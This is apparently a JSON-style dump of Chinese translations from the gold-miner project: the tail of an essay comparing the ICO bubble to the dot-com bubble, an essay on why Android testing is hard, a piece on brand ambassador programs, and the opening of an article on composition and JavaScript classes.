或者代币预售，项目承诺使用区块链来交付商品，或者使用区块链来实现其它一些荒谬的点子，这些项目可能会从 Dapp 中收益，但完全不需要靠代币来运转。其中一些 ICO（17 年初尤甚）使投资者获得了 10 倍的收益，正是它们推动了 ICO 的繁荣。需要注意的是，能够以比特币（而非美元）为结算单位，良好完成售卖的非诈骗 ICO 是相当少的。今天与历史不同，大部分靠以太坊区块链完成交易的代币完全没有所有权。这一点我将在后文提到。现在，你只需要记住 ICO 狂热就是约 20 年前的 IPO 狂热的翻版。\n\n* 任何区块链相关的都在飙升\n\n在互联网泡沫时代，纳斯达克的一些科技公司给自己的公司名字加上“.com”，然后股价便有 30~50% 的涨幅。\n\n猜猜现在发生的是什么...已经有一些公司将公司名字加了上了“区块链”。请注意，大多数情况他们仅仅是给公司换个名字而已...然而，它们的股价却因此而大幅上涨。\n\n* 正在考虑新的估值模型\n\n在换联网泡沫期间，分析师和投资者面临的主要问题是，大多数公司一直在亏损而没有利润，几乎没有可行的估值方法。分析股票的传统方式有：自由现金流息率、EV/EBITDA、P/E 倍数或 DCF（现金流折现）分析。这些方法都存在一个问题，如果在未来相当长的一段时间内利润预计为负数，或与市值的比值为一个相当小的数，靠计算比率来估值的方法都将不起作用，而 DCF 又相当依赖于“终端价值”（基于未来 10 年或 20 年利润的一个恒定假定值）。因为这些方法都行不通（并不是这些方法不管用，而是股价被炒得离谱），当时分析师想出了用于互联网股票估值的种种新方法。这甚至在经常阅读的“估值”标准卷对互联网股票估值增加了大量内容，不过随后又被删除了，因为当时的市场显然是一个虚假的市场。\n\n快进到今天 —— 同样的事情再次上演。我承认在\"价值储藏\"上比特币具有独特价值，但人们赋予代币以网络价值的行为却显得十分荒谬。今天，分析师和投资者都不再关心估值方法，即使项目没有任何回报、启动就估值过亿美金，他们也不会觉得有任何问题。\n\n**区块链泡沫和互联网泡沫之间令人担忧的差异**\n\n尽管这两个泡沫之间存在着明显的相似之处，但更令人担忧的是它们的差异。\n\n* 投机的对象\n\n在互联网泡沫期间，人们至少用血汗钱至少换回了实打实的股权，但大多数的 ICO（前面说的证券代币）投资不会获得任何权利。让我强调一下：**他们不会获得任何权利**。他们投资的完全是空气。对于那些提供商品或服务并不需要代币的 ICO 来说尤其如此。我们花一分钟来理解一下：你从一个你不知道的人那里购买了“区块链”空气，然后希望别人能以更高的价格从你那买走。唯一能对你起到帮助的是“博傻理论”（意思就是：在这个世界上，傻不可怕，可怕的是做最后一个傻子）。\n\n* 市值的含义\n\n我以前写过相关的东西。市值被定义为所有普通股的当前股票价值。\n\n然而，如果你看看统计加密市场市值的首选网站 coinmarketcap.com，你就会发现它们只统计了“流通供应”部分，这通常是被销售出去的那部分货币总量，而并未包括销售该代币的公司团队成员所持有的那部分。换句话说，如果与股票进行比较，该网站只显示了“自由浮动”的那部分市值。\n\n你想一想 —— 当你认为 XYZ 项目市值 1 亿美金时，实际上它的市值可能有 2 亿美金，因为你忽略了项目创始人还持有 50% 的代币。这些代币同样可以在市场上销售...所以除了在估值上的泡沫，还有更多的不为人知的风险。\n\n顺便提一下，Coinmarketcap.com 以前有显示“全部市值”的功能，不过后来被随意的去掉了。（编辑：实际上，该网站现在还有“全部市值”功能，它隐藏在 Coins 标签下面。）\n\n一个默认显示全部市值甚至还标记诈骗信息的网站：https://onchainfx.com ‬\n\n* 诈骗的数量\n\n在股票市场，当然也偶尔有骗局，甚至还发现有些公司的 IPO 建立在传销基础上。然而，看看加密行业的 ICO，明显就是骗局的项目数目惊人。\n\n像 Veritaseum、Monkey Capital 或 WCX 等项目都充斥着传销、骗局、不专业的味道。尽管 WCX 仍然还有机会翻身（ICO 还没有结束，但事情看上去相当怪异，没有公开的团队成员，提名的资金托管方表示并未为其托管任何资产），而其它两个项目已经被证实为骗局。真正令人可怕的是 ICO 结合了无监管、互联网匿名以及人性的贪婪。\n\n* 投资者类型\n\n尽管互联网泡沫有相当一部分的散户投资者，但主要驱动力仍然是机构投资者。在加密泡沫中，该领域几乎完全由新晋散户投资者组成，他们可能一辈子都没有持有过股票。这就是为什么像技术分析这样的东西在加密市场比股票市场受欢迎的原因，因为这明显是一个由恐惧和贪婪驱动的市场，这不是一个成熟的市场。技术分析只是一种分析恐惧和贪婪的方法而已。\n\n我真正想说的是，大多数人在投资亏损方面没有任何经验。当泡沫破灭时，他们会在第一时间被清场。此外，他们缺乏认识到我们正处于泡沫之中的能力，而且他们投资的都是空气。在任何空气项目的 Slack 或 Telegram 的交流群中，不论是谁发表类似的言论，他都会被禁言，或者被指责为 “FUD”（fear uncertainty doubt，恐惧/不确定/怀疑，加密领域中的一个缩写词，意思就是说“他在散布恐慌，只要你不割肉，你就能赚到钱”）。\n\n这些人确信他们还未痛哭的唯一原因就是，他们投资的证券代币仅仅只是在\"比特币交易对\"上有所亏损，但对美元仍然保持稳定或损失甚微。然而，如果你看一看任何一个证券代币或比特币的走势图，你可以清楚的看到，好的行情仅仅是短暂的“哄抬价格-拉高出货”。在涨一波之后通常会跌到比之前还低的位置。现在想象一下，如果比特币再次下跌，会发生什么？\n\n* 缺乏强制的监管\n\n显然，所有政府都被 ICO 的繁荣所震惊。因此，该领域的监管是匮乏、不一致和不明确的。这不仅催生了上述骗局的出现，还请考虑如下几点：\n\na) 只要代币不被明确界定为证券虚假交易、内幕交易、欺骗以及任何一种负面的市场行为，都不是被勒令禁止。代币可能会被参与其中的人认为是合法的，尤其是项目成员或社交媒体大号。\n\nb) 许多代币实际上符合美国证监会对证券的定义。注意，作为一种证券，代币需要提供类似证券的权利（股息、利润分红、投票权），或提供给期望低买高卖的投机者。实际上，如果代币在交易所上市交易，并且这是 ICO 承诺的一部分，那么它就是一种证券。而大部分的既得利益者并不想承认该定义的第二部分实际上已经涵盖了所有的 ICOs 以逃避监管。如果要符合章程，证券需要满足特定的规约才能进行销售，并且只能卖给合格的投资者。\n\nc) \"加密世界\"似乎认为它对未来的监管是免疫的，然而这是错误的。像美国或欧盟这样政府，对于那些不符合监管规定（监管提示）的证券，出售甚至是拥有它们都将被判入狱。当然，比特币不会消失，而加密行业应该拥抱监管。这能解决许多道德和其它方面的问题。值得注意的是，目前世界最大的交易所的实际位置位于美国，而交易所由有合法身份的人来运转。这些都不是对监管免疫的。\n\n**那么在我看来将发生什么呢?**\n\n我认为目前在开篇定义的“证券代币”行业中存在大量的泡沫。这个泡沫一定程度上会扩散到“功用代币”和“加密货币”，但显然主要还是在 ICO 领域中。\n\n最有可能的情况是，房间里面的两头大象（美国和欧盟）为 ICO 和加密资产出台某种监管框架。我希望他们能够区分纯粹的网络代币、加密货币（Bitcoin、Ethereum 等）和证券代币三者。几乎所有的现有 ICO 市场都将严格按照证券代币监管规则实行。（编辑：美国证监会主席 Clayton 说：“我还没见过哪个 ICO 没有太多证券的印记。”，华尔街日报，2017 年 11 月 9 日。）\n\n因此，所有的由人管理运作的大型交易所都将被强制要求立即去除所有证券代币，他们都将遵守这一指令。对于去中心化交易所，这些代币的交易将是非法的，而项目发起者将会向投资者退款，我不敢肯定这种方式能解决所有问题。我希望他们不会走到这一步，因为监管必然会是积极的。\n\n当这些发生后，所有的 ICO 都将下跌 90％（就像在互联网泡沫中一样），不管项目多么强大。我经常提到的一点：2001 年亚马逊股价下跌到 5.5 美元每股，但现在价格是 1000 美元。所以在这个过程中，好的项目仍然会下跌 80～90%。\n\n与此同时，与 ICO 繁荣息息相关的功用代币可能会串联暴跌（因为大部分人将证券代币换成功用代币，再换成比特币，最后换成法币），但可能不会太严重并且能够及时恢复。这些都是有价值的技术，没人想长期伤害它们。类似比特币这样的加密货币也会受到影响，但随着各大交易所推出比特币期货，我预计很可能是一个 V 型修复的走势，ETF基金的形式和监管无疑将引入机构投资者，并且其中 90% 的资金必将流向比特币。不过，毫无疑问的是比特币仍然会受到影响。\n\n在这场 ICO 大地震的余波中，我预计将发生和 2001 年互联网公司同样的故事。真正优质的项目会给他们的代币持有者带来类似股票的权利，并且履行证券监管。新的 ICO 将是那些强大的公司，这些项目具有很好价值定位，它们也会出售一些有价值的东西，这肯定不会是空气。当 ICO 2.0 时代来临时，以太坊这样的平台也会强劲复苏。就像过去互联网公司一样，我希望这场冲击是一个积极的中期效应，并释放出大量的价值。我确信，区块链（像以太坊这样的网络、像比特币这样的货币）将在很大程度上取代目前的市场基础设施，甚至取代某些市场参与者（例如银行、清算所、股票交易所）。但在这之前，需要发生一场冲击，并且一定会发生。这不是“是否发生”，而是“何时发生”的问题。\n\n对了，我敢打赌，我严重怀疑 USDT 项目的合法性。你真的认为美国政府会允许第三方机构在没有任何公开审计和牌照的情况下用他们自己发行的货币进行资产托管吗？我是不信的...\n\n因此，在这场游戏的尾声，我个人不会对任何 ICO 项目进行投资，也不会投资它们的代币。在未来 12 个月的某个时间点，你入手的任何价格都可能是一个相当高的点位。再重申一遍，这并不是说区块链不是未来，这也不是反对比特币或以太坊的理由。但我希望这是给当下那些幻想加密世界让自己一夜暴富的人的一个小小的警钟。\n\n**最后，一个简短而重要的声明：我所写内容不构成任何资产投资建议。这仅仅是我不专业的个人观点。一切资产都可能归零。**\n\n**更多趣文**\n\n- [**ICO**](https://baike.baidu.com/item/ICO/21498451)\n\n- [**Everything I Learned About Investing I Learned While Crying**](https://medium.com/the-mission/everything-i-learned-about-investing-i-learned-while-crying-1cf239ef8da5)\n\n- [**COIN SCAM ALERT -- Beware of Monkey Capital and Its Head Monkey Daniel Harrison! - Steemit**](https://steemit.com/cryptocurrency/@goldseek/beware-of-monkey-capital-and-its-monkey-daniel-harrison)\n\n![1511164934(1).jpg](https://i.loli.net/2017/11/20/5a128c1a8067d.jpg)\n\n- [**Losing Alpha: Why Most New Crypto Funds Are a Sh*t Deal**](https://medium.com/@twobitidiot/losing-alpha-why-most-new-crypto-funds-are-a-sh-t-deal-98ea0013971a)\n\n- [**Introduction to Cryptocurrencies from a non-tech early adopter**](https://medium.com/@dennyk/introduction-to-cryptocurrencies-from-a-non-tech-early-adopter-dd6889c12d68)\n\n- [**ICO Wizard: launch your crowdsale campaign in under 10 minutes**](https://medium.com/oracles-network/ico-wizard-launch-your-crowdsale-campaign-in-under-10-minutes-47df74c957ba)\n\n- [**A Letter to Jamie Dimon**](https://blog.chain.com/a-letter-to-jamie-dimon-de89d417cb80)\n\n- [**The Basics on FACTS: A New Model for Compliant ICOs - CoinDesk**](https://www.coindesk.com/basics-facts-new-model-compliant-icos/)\n\n- [**The Crypto J-Curve**](https://medium.com/@cburniske/the-crypto-j-curve-be5fdddafa26)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/why-android-testing-is-so-hard-historical-edition.md",
    "content": "> * 原文地址：[Why Android Testing is so Hard: Historical Edition](https://www.philosophicalhacker.com/post/why-android-testing-is-so-hard-historical-edition/)\n* 原文作者：[David West](https://www.philosophicalhacker.com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[tanglie1993](https://github.com/tanglie1993)\n* 校对者：[skyar2009](https://github.com/skyar2009), [phxnirvana](https://github.com/phxnirvana)\n\n![](https://www.philosophicalhacker.com/images/time.jpg)\n\n# 为什么 Android 测试如此困难：历史版本 #\n          \n> 作为一种职业，程序员总是完全无视自己的历史。\n> \n> David West, 《Object Thinking》\n\n大约两年以前，我写了[两篇](https://www.philosophicalhacker.com/2015/04/17/why-android-unit-testing-is-so-hard-pt-1/)[文章](https://www.philosophicalhacker.com/2015/04/24/why-android-unit-testing-is-so-hard-pt-2/) 用于尝试回答这个问题：“为什么测试 Android 应用这么困难？”在这些帖子中，我提出是 Android 应用的标准架构使得测试如此困难的。这个对于 Android 应用测试困难性的解释提出了一个更深、更历史性的问题：为什么一个如此难以测试的架构，在当初会成为开发 Android 应用的默认方式？\n\n在本帖子中，我将推测这个问题的答案。我认为 Android 目前不理想的测试状态由三个原因造成：性能因素、应用组件类目的不明确，以及在 Android 刚推出时 TDD 和自动化测试的不成熟。\n\n### 性能 ###\n\n在某种程度上，代码的性能和可测试性是反相关的。就像 Michael Feathers 指出的那样，可测试的代码需要抽象层。\n\n> ……遗留代码中一个普遍的问题是：它通常没有太多的抽象层；系统中最重要的代码通常和底层 API 调用混杂在一起。我们已经见到，它是怎样把测试复杂化的……<sup>[\\[1\\]](#note1)</sup>\n\n如同 Chet Haase 所说，抽象层有性能代价。作为 Android 开发者，我们需要对其额外警惕：\n\n> 如果有些代码很少执行……，但更清晰的风格对它有益，那么一个传统的抽象层会是正确的决定。但如果分析显示你经常反复执行某些代码路径，并在过程中造成大量内存抖动，考虑这些避免过量分配的策略……<sup>[\\[2\\]](#note2)</sup>\n\n虽然 2017 年有“#perfmatters”，但性能问题在 Android 推出之初比现在更受关注。这意味着 Android API 的设计和 Android 应用的早期架构/实践是对性能非常敏感的。添加额外的抽象层用于测试，在那段时间可能是不现实的。\n\n第一部 Android 手机，[G1](https://www.google.com/shopping/product/1556749025834621307/specs?sourceid=chrome-psyapi2&amp;ion=1&amp;espv=2&amp;ie=UTF-8&amp;q=tmobile+g1+android&amp;oq=tmobile+g1+android&amp;aqs=chrome..69i57j0l5.2528j0j4&amp;sa=X&amp;ved=0ahUKEwjilvOU0YXSAhVG8CYKHTp2BrAQuC8IjgE)，有 *192 MB  RAM* 和一个 *528MHZ* 的处理器。显然，从那以后我们已经走过了很长的路。而且在很多情况下，我们可以承受可测试性所要求的额外抽象层的代价。\n\n我最近听 Ficus Kirkpatrick 说了一件有趣的事。它是关于在 Android 系统设计和早期的 Android 开发中，性能因素有多重要的。Ficus Kirkpatrick 是 Android 组成立时的成员之一，他在最近某期 Android Developers backstage 中提起：\n\n> …当涉及到 CPU 周期和内存时，就出现很多 enum 之类的东西和极度节俭的哲学……这是观察 Android 早期决定的一个有趣的角度。我看到很多工程师就像在大萧条时期长大的一样，锱铢必较地节俭。 <sup>[\\[3\\]](#note3)</sup>\n\n关于性能和开发速度之间的权衡，在播客中已经有了很好的讨论。Chet Haase 和 Tor Norbye 非常强调性能因素，而目前在 Facebook 工作的 Ficus Fitzpatrick 看起来更倾向于牺牲性能换取开发速度。\n\n谁是对的——或者意见是否最终可以达成一致——对我们不重要。重要的是他们的对话，和 [关于](https://plus.google.com/105051985738280261832/posts/YDykw2hstUu) [enums](https://twitter.com/jakewharton/status/551876948469620737?lang=en)[的宣传](https://www.youtube.com/watch?v=5MzayZXtSiQ), 明确显示了 Android 系统的开发人员仍然很关心性能。这可能导致他们对于有一些性能消耗的抽象不那么热衷，哪怕这对测试有益。\n\n### 关于 Android 组件的误解 ###\n\n另一个造成 Android 测试环境如此恶劣的原因是我们可能完全误解了 Android 的组件类（即`Activity`, `Service`, `BroadcastReceiver`, 和 `ContentProvider`）的目的。在很长一段时间里，我以为这些类是用于方便应用开发的。Diane Hackborne 并不这样认为：\n\n> …从它的 Java 语言 API 和相当高层的概念来看，它像是一个典型的应用框架，用于指示应用应当如何工作。但就大部分情况而言，它不是。\n> \n> 大概把 Android API 称为“系统框架”会更合适。大多数情况下，我们提供的平台 API 是用于定义一个应用如何与操作系统互动的；但对于任何从纯粹在应用内部运行的东西而言，这些 API 和它并没有什么关系。\n\nChet Haase在他的 *Developing for Android* medium 博客中重新强调了这一点：\n\n> 应用组件（activities, services, providers, receivers）是用于和操作系统互动的接口；不推荐把它们作为架构整个应用的核心。<sup>[\\[4\\]](#note4)</sup>\n\n我认为现在大家都已经知道，[把业务逻辑写在 Activity 和其它应用组件类中，会使测试变得困难](/post/why-we-should-stop-putting-logic-in-activities/) ，因为缺乏合适的依赖注入。由于我们中有许多人会围绕这些组件建立整个应用，我们可能会过度使用它们，使应用的测试状况进一步恶化。\n\n### Android 和单元测试的崛起 ###\n\n有另一件事情导致了 Android 不佳的测试状况： TDD 和 Android 同时崛起。 Android 最初的版本是在 2008 年九月发布的。最早的关于 TDD 型单元测试的书之一——*TDD by Example*，仅仅比它早 3 年。\n\n自动化测试的重要性比那时更广泛地被接受。测试的重要性影响了 Android SDK 的设计决策，以及 Android 社区对于支持测试的架构和实践的热情。\n\n\n### 注: ###\n\n1. <a name=\"note1\"></a>\nMichael Feathers, *Working Effectively with Legacy Code*, 350-351.\n\n2. <a name=\"note2\"></a>\nChet Haase, *[Developing for Android II The Rules: Memory](https://medium.com/google-developers/developing-for-android-ii-bb9a51f8c8b9#.p49q9k3uj)*\n\n3. <a name=\"note3\"></a>\n“In the Beginning,” [*Android Developers Backstage*](http://androidbackstage.blogspot.com/2016/10/episode-56-in-beginning.html), ~25:00.\n\n4. <a name=\"note4\"></a>\nHaase, *[Developing for Android VII The Rules: Framework](https://medium.com/google-developers/developing-for-android-vii-the-rules-framework-concerns-d0210e52eee3#.yegpenynu)*\n"
  },
  {
    "path": "TODO/why-building-community-is-the-new-growth-hack.md",
    "content": ">* 原文链接 : [Why Building Community Is the New “Growth Hack”](http://thehustle.co/why-building-community-is-the-new-growth-hack)\n* 原文作者 : [TAM PHAM](http://thehustle.co/author/tam/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Zhongyi Tong](https://github.com/geeeeeeeeek)\n* 校对者 : [JasinYip](https://github.com/JasinYip), [godofchina](https://github.com/godofchina)\n\n\n# 构建用户社区 - 新的“增长黑客”方式\n\n我们最近启动了一个[大使项目](http://ambassadors.thehustle.co/#amb)。我们的目标是建立一个强大的社区，让我们的粉丝可以在这上面给我们提出反馈，我们也可以回馈他们的忠诚。同时，我们希望这些大使能够助力我们公司的成长。\n\n我们没有人是专业的“社区建立者”，所以我们借鉴了一些已经建立了成功的大使项目的公司。\n\n我们觉得如果把这些经验都占为己有的话太自私了，所以分享给大家！\n\n![theSkimm](http://thehustle.co/wp-content/uploads/2016/02/theSkimm.png)\n\ntheSkimm 是一个每日邮件简报，在一天开始之前给你所需的一切。它们将最新鲜的新闻拆成便于阅读的小块，让你可以轻松地紧跟潮流事件。\n\n#### 大使需要做什么？\n\n热爱阅读 theSkimm 的用户，分享他们专属的推广链接，通过他人订阅获得积分。他们需要收集 10 个订阅邮箱来成为官方的“ Skimm 大使”。\n\n#### 大使有什么回报？\n\n*   10 个订阅邮箱 = Skimm 手提袋\n*   25 个订阅邮箱 = T-shirt\n*   50 个订阅邮箱 = Skimm 简报致谢\n*   100 个订阅邮箱 = 雨伞\n*   150 个订阅邮箱 = 手机壳\n*   200 个订阅邮箱 = \b酒杯\n\ntheSkimm 鼓励 Skimm 大使穿着他们的周边产品到处晃悠。\n\n![theSkimm 2](http://thehustle.co/wp-content/uploads/2016/02/theSkimm-2.jpg)\n\n> “这将会是我们唯一一次鼓励自拍的时机。” – theSkimm\n\n更多回报：\n\n*   私密 Facebook 小组邀请: Skimm 大使可以和世界各地其他 Skimm 大使相互联系\n*   私密 LinkedIn 小组: 每个人都可以在 Skimm 大使的人脉网络中分享职位信息\n*   提早获知 Skimm 实习和工作机会\n*   合作补贴: Skimm 大使倡导者奖学金或提早成为品牌合作伙伴\n\n#### 是否奏效？\n\ntheSkimm 很快在三年内将他们的邮件列表扩展到100万个订阅者。他们将自己最主要的成长秘诀归结于第一天开始的大使计划。\n\n他们现在有 12,000 多个大使，分在两个 Facebook 小组中: 一组是大学生，另一组是其他所有人。\n\n我们从中得知: theSkimm 读者喜欢周边产品并把 theSkimm 展示给他们的朋友和家人。他们同样喜欢和其他 “Skimm 小伙伴” 线上联系，热衷于参与他们都感兴趣的话题。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2tx2frkrej20le0a9tar.jpg)\n\nHuckberry 是一个双周发行的网络杂志，带给你独特的衣服和玩意，以及会员专享的价格和产品背后的故事。\n\n#### 大使需要做什么？\n\n大使在网站上有一个专门的页面，包含自我介绍、社交账号、最喜欢的玩意。这个项目在 2015 年初启动了。\n\n除了自愿为 Huckberry 做事之外，大使在合作期间还多次在他们的社交渠道和个人网站上分享。\n\n团队尝试让大使参与到很多创造性的品牌项目中来 - 例如 Californian Dylan Gordon ，他和设计师 Iron 和 Resin 一起拍摄了 Huckberry 的 capsule collab ；还有玩冲浪的 Nick LaVacchia ，他为艺术家系列拍摄了 Ty Williams 。这些大使只是“恰好”有一些专业的摄影技能…\n\nHuckberry 的大使项目既被看做是用户增长渠道，也是品牌灵感来源。 Huckberry 同样借助大使来为他们家乡的本地活动宣传造势。\n\n#### 大使有什么回报？\n\nHuckberry 提供了不同的措施来激励大使，包括小玩意、特殊项目支持，以及社会晋升。 Huckberry 选择性地挑选大使，这样可以送出更多个性化的周边产品。\n\n#### 是否奏效？\n\nHuckberry 在 2015 年 在 Instagram 上取得了 84% 的年度增长，他们将此部分归结于 Instagram 上的大使所做的交叉推广。这个项目相对较新，目前通过网站流量、新增用户、社交增长来衡量成功与否。他们告诉 The Hustle ，他们首要的目标是建立一个紧密的探险者、创新者和运动员的大家庭，他们的职业更贴近 Huckberry 的文化。\n\n我们从中得知: 保持私人感。创建一个紧密的大家庭，其中的成员欣赏 Huckberry 的品牌和生活方式。\n\n![Chubbies 3](http://thehustle.co/wp-content/uploads/2016/02/Chubbies-3.jpg)\n\nChubbies 是一家面向年轻人的短裤商店，在社交媒体上蓬勃发展 (他们自己说的)。\n\n#### 大使需要做什么？\n\nChubbies 每周发布挑战，以鼓励大使去进行项目推广以及创造内容。\n\n> “最近我们的大使占领了位于 Waco 和 Texas 的 BSR Cable Park (一个水上公园) ，当他们在水上公园度过了美妙的一天之时，我们\b也获得了非常棒的照片和[视频内容](https://www.facebook.com/chubbies/videos/vb.212377122105873/1149566238386952/?type=2&theater)；双赢，不是么？他们同时还引领了照片和视频拍摄，策划节日气氛的传播马拉松，组织大型聚会，大使从全国各地来到一起闲逛，认识彼此。” Chubbies 的内容导师 Mason 说。\n\n\n\n> “我们没有社交平台上发文的要求，或者什么强制的活动，但一旦大使有什么好的想法时，我们尽全力使它成真。”\n\nChubbies 大使同时为新产品提供帮助，为公司如何变得更好建言献策。\n\n#### 大使有什么回报？\n\nChubbies 大使通过赢得每周的挑战来获得奖励，包括运动衫、T恤、定制的运动用品、假发和太阳镜。\n\n大使会收到一个可用于在线购物的折扣码。Chubbies 同时在社交渠道上向 150 万用户高调展示大使的内容。他们的 [Instagram](https://www.instagram.com/p/BBWTQzlOqKV/?taken-by=chubbies) 几乎都是用户直接提交的独家内容。\n\n#### 是否奏效？\n\nChubbies 现在在全国有 400 个大使。\n\n他们的目标是让客户生活地更加充实，并给世界带去更多快乐。这为他在大学校园里轻易地聚集了热情的粉丝，传播品牌。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f2txx6me89j20le0kyq9q.jpg)\n\n> “这个项目对品牌成长的贡献无法估量，我们非常激动，因为我们预计这个项目的影响只会增长。” Chubbies 的内容导师 Mason 说。\n\n我们从中得知：高度评价大使的工作。鼓励他们创造与你品牌相符的内容，以创造双赢的局面。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f2tx5d8pzpj20le0lemyv.jpg)\n\nSerengetee 使用来自全球的布料，创造口袋衬衫。每件衬衫的部分收入将会捐给一家布料产地国的慈善机构。\n\n#### 大使需要做什么？\n\nSerengetee 叫他们的大使“学员代表”，他们的目标是向全世界宣传 Serengetee 。学员代表通过积分系统赢得奖品。这就像你获得优惠券并在学期末兑换它们的地方。\n\n为了赢得积分，你需要：\n\n*   在社交媒体上发表你穿着 Serengetee 衣服的照片\n*   向你的朋友或家人销售衬衫，使用你的折扣码\n*   独立地或一起在一些竞赛中竞争\n*   每个人在期末都需要建立一个宣传 Serengetee 的“代表项目”。 Jeremy Uniszkiewicz 创建了一个叫做 [Serengetee 是什么?](https://www.youtube.com/watch?v=CIIwtWA2Pv0&feature=youtu.be) 的视频，解释这个公司是做什么的。 Casey Daly 创建了一个 [Tumblr 账号](http://serengeteepocketportfolio.tumblr.com/) 专门介绍他和 Serengetee 的经历。\n\n#### 大使有什么回报？\n\n*   折扣: 在商店里买任何东西都有 15% 的折扣。\n*   周边产品: 在获得特定积分之后，你可以获得免费的T恤或者挂件。\n*   免费参加 Guatemala 的旅行: 如果你的项目恰好成为了最好的代表项目，你可以获得一辈子只有一次的 Guatemala 旅行，和 Serengetee 的创始人 Jeff 和 Ryan 一起。\n*   代表领袖: 在你的代表阶段结束之后，你可以晋升为代表领袖，你可以通过分享你在 Serengetee 的经验帮助其他 Serengetee 代表。\n*   推荐信: 代表领袖通常会为学员代表写推荐信，帮助大学、工作、奖学金申请。\n\n#### 是否奏效？\n\nSerengetee 在 2012 年创立公司之后发展到了 2,500 个学员代表。\n\n大学代表在全美分为了八个区域。他们有自己的校园代表领袖——通常是大学生 - 来管理这片区域。高中代表分为两个区域，东部和西部，两个区域各自竞争。每个区域为同一个目标奋斗，从而建立联系。\n\n像 Jimmy Tatro 这样的社交媒体大V 开始为 Serengetee 背书，使之增加了一大堆新粉丝。\n\n创始人说，校园代表项目是他们重要的增长要素。\n\n我们从中得知：大学生和高中生可以成为你在社交渠道上品牌宣传最重要的资产。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f2txkae8jgj20le0leq3k.jpg)\n\nThe Hustle 是一家为商业、设计、科技领域的领军人物提供的邮件简报。我们发现、探索、解密那些有启发的原创内容 (也就是这个网站)。\n\n在研究了一些其他成功的初创项目之后，我停留在了这里。\n\n#### 大使需要做什么？\n\n热爱我们网站上内容的读者分享他们专属的 URL ，邀请朋友订阅我们的邮件列表。你需要收集 4 个邮箱来成为 The Hustle 的官方大使。\n\n#### 大使有什么回报？\n\n4 个推荐 = 邀请进入我们私密的社区，你可以和世界上其他 Hustle 大使 联系。\n\n每月问答: 我们会邀请有趣的企业家，在我们私密的小组内举行一次亲密的对话。我们第一次问答请到的是 Sam 和 John ， The Hustle 的创始人。我们第二次问答请到的是 Jack Smith ，他在 25 岁时就联合创立了两家市值 1 亿美元的初创。\n\nHustle 人脉网络: 列出你的技能并且为 hustle 同伴提供帮助的地方。作为回报，你可以向小组内其他的 hustle 小伙伴求助。当我们聚集了 1000 人时，这就变得尤其有用，每个人只需一封邮件就可以获得帮助。\n\n*   10 个推荐 = T-shirt\n*   25 个推荐 = 卫衣\n*   50 个推荐 = [2016 年度 Hustle 大会](http://www.hustlecon.com/) 的免费门票\n\n![11013285_1578074979119033_6967470485674562580_n](http://thehustle.co/wp-content/uploads/2016/02/11013285_1578074979119033_6967470485674562580_n.jpg)\n\n这是 2015 年度 Hustle 大会的照片，我们的标志会议，每张门票平均花费 $300。赢得门票的大使有机会和我们的团队和 2,500 其他参会者一起活动，以及观看 15 家初创创始人的演讲。\n\n#### 是否奏效？\n\n自从 1 月启动以来，我们收集了 4,672 个邮箱，我们的社区已经有 102 个人了 (还在活跃增长中)。点击[这里](http://ambassadors.thehustle.co/#amb)加入我们。\n\n## 重点回顾\n\n每一个大使项目都独一无二的。如果你要建立自己的大使项目，寻找是什么在激励你的客户(或读者)谈论你的品牌。然后创建一个能让他们这么做的项目，并一路支持他们。\n\n"
  },
  {
    "path": "TODO/why-composition-is-harder-with-classes.md",
    "content": "\n> * 原文地址：[Why Composition is Harder with Classes](https://medium.com/javascript-scene/why-composition-is-harder-with-classes-c3e627dcd0aa)\n> * 原文作者：[\nEric Elliott](https://medium.com/@_ericelliott)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-composition-is-harder-with-classes.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-composition-is-harder-with-classes.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[sunui](https://github.com/sunui) [IridescentMia](https://github.com/IridescentMia)\n\n# 为什么在使用了类之后会使得组合变得愈发困难（软件编写）（第九部分）\n\n![Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）\n\n> 注意：这是 “软件编写” 系列文章的第十部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！\n> [< 上一篇](https://juejin.im/post/59c8c8756fb9a00a681ae5bd) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.mda)\n\n前文中，我们仔细审视了工厂函数，并且也看到了在使用了函数式 mixins 之后，它们能很好地服务于函数组合。现在，我们还将更加仔细地看看类，验证 `class` 的机制是如何妨碍了组合式软件编写。\n\n但我们并不完全否定类，一些优秀的类使用案例和如何更加安全地使用类也是本文将会探讨的。\n\nES6 拥有了一个便捷的 `class` 语法，这也让你不免怀疑为什么我们还需要工厂函数。二者最显著的区别是构造函数以及 `class` 要使用 `new` 关键字。但 `new` 究竟做了什么？\n\n- 创建了一个新的对象，并且将构造函数中的 `this` 绑定到了该对象。\n- 